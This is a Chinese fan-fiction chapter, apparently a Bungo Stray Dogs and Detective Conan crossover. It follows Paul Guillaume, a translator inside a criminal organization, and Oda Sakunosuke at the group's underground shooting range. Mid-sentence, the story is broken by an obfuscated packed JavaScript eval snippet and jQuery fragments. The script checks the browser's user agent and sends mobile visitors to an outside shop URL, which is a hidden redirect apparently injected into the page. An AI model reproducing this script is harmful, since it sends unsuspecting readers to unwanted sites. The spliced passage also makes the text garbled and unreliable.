2026/02/04/2/38


    远在日本某间据点里，保尔·纪尧姆打了一个喷嚏。


    是不是又有人骂我了。


    不过没关系。他愉快地想，指尖漫不经心地摩挲着桌边的咖啡杯沿，笑意里掺着几分无所谓，反正骂我的人那么多，不差这一个。


    那些尖利的评价此刻又浮现在脑海里。


    ——“他的真诚是把自己的背德行为美化为欲望的真实绽放。”


    “不过是自我辩解罢了。”


    “他最擅长的，是把“自我剖析”变成一场盛大的脱衣秀——观众以为在看灵魂，其实只是在看他又换了什么姿势。”


    总而言之，争议不少，他早就习惯了。纪尧姆伸了个懒腰，又懒洋洋地打了一个哈欠，眼底还带着未散的倦意，毕竟昨天他搞翻译搞到深夜。身旁的临时搭档正对着电脑屏幕敲字，余光瞥见他这副没睡醒的模样，挑了挑眉，语气里带着点调侃：“还是你们这种不冲第一线的家伙舒服啊，注意力不集中也没事，反正脑袋也掉不下来。”


    “这确实，”纪尧姆点了点头，“但是我这边翻译也很困难啊，毕竟还得精准拿捏双方的语气和立场，同时兼顾谈判桌上的周旋与协商，啧啧，这语言的艺术……我可不想被别人钻空子。”


    他手往脖子上一抹，模拟他被杀死的场景，“这活儿也不比你们轻松啊。”


    “那确实，”对方闻言点头表示赞同，随后拖动鼠标，在电脑上点了几下，“有一说一，我确实没法像你这样，不管面对什么场面都从容不迫，总能稳住阵脚。你是怎么做到和那些杀人不眨眼的人交谈时，表情那么放松的啊！”


    轩尼诗（保尔·纪尧姆的代号）的说话方式和组织里很多人不一样，这是很多人和他一开始接触，就会得知的事实——如果有幸与他交谈，哪怕只是随意聊天，都能让人收获不少，仿佛他本人就活成了一本行走的真理，通透又精准。而在工作中，他总能在翻译的间隙精准捕捉谈判的核心，选出最有利的策略。


    这份应对不同人群都游刃有余的能力，也是他能快速在组织里拥有代号的关键——他看人看得精准，又擅长用谈吐瓦解防备、赢得信服，无形之中很容易让人产生好感。


    在代号成员中，轩尼诗应该能算是最和善的人之一了。一旁的人非常有好感地想，因此他决定分享一个情报——谁不愿意和一个交谈愉快的人合作呢。他敲了敲电脑屏幕，意示轩尼诗过来看看。于是轩尼诗好奇地凑上去，他微微欠身，目光落向屏幕，看见对方点开了一份表格。


    “这是组织下一批申请枪械使用权的名单，还有好几天才截止。截止后就是考核环节了。”对方清了清嗓子，话里带着点暗示，“组织里至少有这么多人要申报，你有心仪的人选吗，也许现场就有合适的人给你挑哦？”


    这个暗示和明示一样。轩尼诗心里默默吐槽，就好像把莫奈画作里的轮廓交界线加粗似的，不要太明显。


    说起来似乎错过莫奈先生的画展了，好可惜啊。本来说要和圣·埃克苏佩里一起去的，可恶。


    轩尼诗压下心中的遗憾，定了定心神。他实在不愿意配保镖，之前有人曾派来一位保镖，实则是来狙杀他的杀手。还好那个时候他弯下腰去系鞋带。子弹从他的头顶擦过，带起几缕发丝，距离洞穿他的头颅真就差之毫厘，差一点就让他没去看画展的遗憾都做不成了。


    从那以后，他就宁愿自己配枪保护自己，也不愿再配保镖了。


    但不同的合作对象却有共同的利益，同出任务的搭档会比单纯的保镖好很多。如果组队执行任务，这个时候互相坑害的环节就少很多，毕竟刀剑无眼，子弹也不会认人，内部自相残杀只会给自己招来嫌疑，从而两败俱伤。


    轩尼诗思索一番。对方适时把手从鼠标上移开，他接过鼠标，指尖滑动滚轮，漫不经心地扫过名单，仿佛毫不在意似的，从头看到尾也没有停顿。


    但是旁边的人已经清楚地明白他已经有了后续的打算。轩尼诗看书很快，看起来，常年的翻译训练练就了他的思路活泛，让他不会在阅读上过多的浪费自己的时间。


    “谢谢，我会去看看的。”轩尼诗微微点头，语气平淡，但是任何人都能听明白其中的笃定。


    “不客气，”那个人摆了摆手，“您也照顾了我不少。”


    那就好。轩尼诗暗想，面上不动声色地点了点头。他暂时没有动这个人的打算，在组织里好说话比空有武力好用太多。


    他又不是真的没有自保能力。虽然他不得不承认他在他的交际圈里算弱的。但是那都是些什么怪物啊！


    如果真有上帝的话，是不是在给他开另外一扇窗呢？但是嘛……想到这里，他的心情格外郁闷。但随后又抛在脑后，不能解决的事情，想了不如不想，免得心烦。


    他看了一眼旁边的人，这家伙在组织里算好打交道的，能听得懂人话，不会“哎，我有一个小巧思”就擅自行动，然后撒手没，挺不错了。


    说到听得懂人话的……轩尼诗叹了一口气，眼底闪过一丝惆怅。他好想念他远在法国的朋友，真的。


    他们相遇在蒙彼利埃的月光下，在植物园的衣冠冢旁嚼着玫瑰聊天。两人并肩而立，天南海北地闲聊。从此他便笃定他找到了能听懂他灵魂的人。如今十几年过去，光阴流转，日夜更替，他们的情谊仍然绵长，和而不伤，拥有着毫无功利的纯粹，让人无比安心。


    轩尼诗思索了一下，按照日本这边的说法，他和保尔·瓦莱里的关系，应该叫……幼驯染？


    ——


    织田作之助驾驶着车辆，缓缓驶入车库内部，车轮碾过地面，发出轻微的摩擦声，也许是地面在以攀升的温度抗议。他抬手输入编号，车库门缓缓闭合，隔绝了外界的光线，随后他转身，朝着不远处的靶场大门走去。


    靶场建于地下深处，与武器储藏室平行排布，这样的布局虽不便于大型武器的运输，却能最大程度保证炮弹、炸药等危险物品的存放安全，将一切风险牢牢锁在地下，封进沉闷的混凝土墙里。


    他才加入，没有代号获取资格，琴酒也未曾刻意宣扬过他的存在。毕竟越多人关注，被更多人盯上的可能性就多一分，便越容易出现麻烦。在自己的势力不够大之前，在这里攀关系得处处谨慎，别一个不小心把自己攀死了。


    酒厂有他自己独特的生存法则。排挤对手的方式不止温和的手段，把位子上的人干脆利落地处理掉才是这个组织最常用的技法。随后自己取而代之，好不容易。这种方法高效简洁，除了需要派干家政的人处理血迹以外，几乎再无别的步骤。


    织田作之助行走在地下，脚下的绒布既隔绝了他的脚步声，又抹除了他的脚印。周遭只剩通风口细弱的嗡鸣，混着远处靶位偶尔漏出的闷响，厚重混凝土墙透着刺骨的凉，裹得空气都沉甸甸的，让人喘不过气。也许有人会脚步迟疑，但是他仍然一如既往地沉着冷静，有条不紊。


    门旁站着两名身型高大的守


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118235|195715||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卫，他们身着西装，墨镜遮住表情，还没开口，无形间露出不容拒绝的威慑。他从容不迫地报上序列号，右旁的男人核对完毕后，毕恭毕敬地帮他拉开靶场的大门。他微微欠身以示感谢。


    礼貌还是要的。他严肃地想。他只是杀人了，又不是不当人了，不能把他跟着安吾学会的礼貌还给老师。何况他现在也是警察。（所以毕业的就业率到底算没算他？）


    门内早已有人等候，引着他走向一间独立靶室去。织田作之助定眼一看，只见房间角落的架子上，几条绳子将手枪整齐地绑在上面，看起来是为了防盗。


    “介于先生您是第一次来，没有专人陪同，我们会专门配备人员全程跟随，”旁边的人开口解释，“这里是室内靶场，枪声对耳膜的影响较大，我们会督促您佩戴耳机保护耳膜。”他指了指自己耳朵上的保护设备，“若因未规范操作导致听力损伤，我们概不负责。”


    “原来如此。”织田作之助心下了然。难怪总有人全程跟着他，还把他领到这样一间看起来不太顶尖的靶场——能看出来是因为：这里放着的枪全是价格低廉的奥地利格/洛/克。不过他也没有任何挑剔，毕竟他上次触摸手枪还是在上次。


    而他手里没有不能命中目标的枪。


    他依言拿起一旁的防护耳机戴上，外界的噪声瞬间被隔绝。随后他走到靶位前，拿起台面上的手枪。枪身冰凉，他无意识地摩挲哦几下，眼底闪过一丝怀念，随后转瞬即逝。


    他熟练地摆出握枪姿势，手指利落扣开枪上的扳机保险，动作流畅自然，没有半分迟疑，水过平地一般流畅。


    旁边的接待人员有些意外。这动作熟练度，不太像第一次打靶的人啊。很多人来时都不是第一次握枪，但是像面前这个人这样如此从容的姿态的，少之又少。


    可这个人身上的气质很干净，在这杀气震天的靶场里，沉静温和的模样反倒是让他更像猎物。


    接待员思索着。若是没见他碰枪，他根本想不到面前这个人竟然懂得枪械。这人看起来像一个刚踏入社会的大学生似的，指尖带着常年握笔留下的书茧，让人难以想象他会与枪械甚至杀戮扯上关系。


    这人不会是哪个官方派来的卧底吧？


    他阅人无数，见过的杀手、佣兵不计其数，个个都带着锐利的血腥气，张扬跋扈。男人思忖着，随后又将这个想法抛之脑后。


    真让这个人当卧底也太不明智了。毕竟面前的人看起来一点血腥味儿都不沾，没半分戾气。这实在是太过愚蠢，这般模样，迟早会暴露问题。


    当然，甄选卧底也不是他们这些靶场的工作人员该思考的事，专心做好本职工作就好。


    但是对这人感兴趣是肯定的。


    大多数人拿到枪时总会难掩兴奋——这是能夺取人命运的工具，枪能轻易地毁灭一个人的灵魂，从□□开始。故而能够勾起人们的疯狂念想。


    人类总会对感兴趣的事物流露真实的感情。可织田作之助不同，枪在他手里，不过是工具罢了。他不会对工具感兴趣。或者说，他对持枪射击时日复一日的机械动作，根本提不起探索的兴致。


    更何况，此刻只是在训练场练习，他的杀气自然不会显露。他没有目标，没有意义。


    他呼吸平稳，目光沉静，锁定远处的靶心后指尖扣下扳机。


    “砰——”


    一声枪响在室内回荡，子弹精准命中靶心，不容拒绝地留下一个小小的弹孔。


    是完美的十环。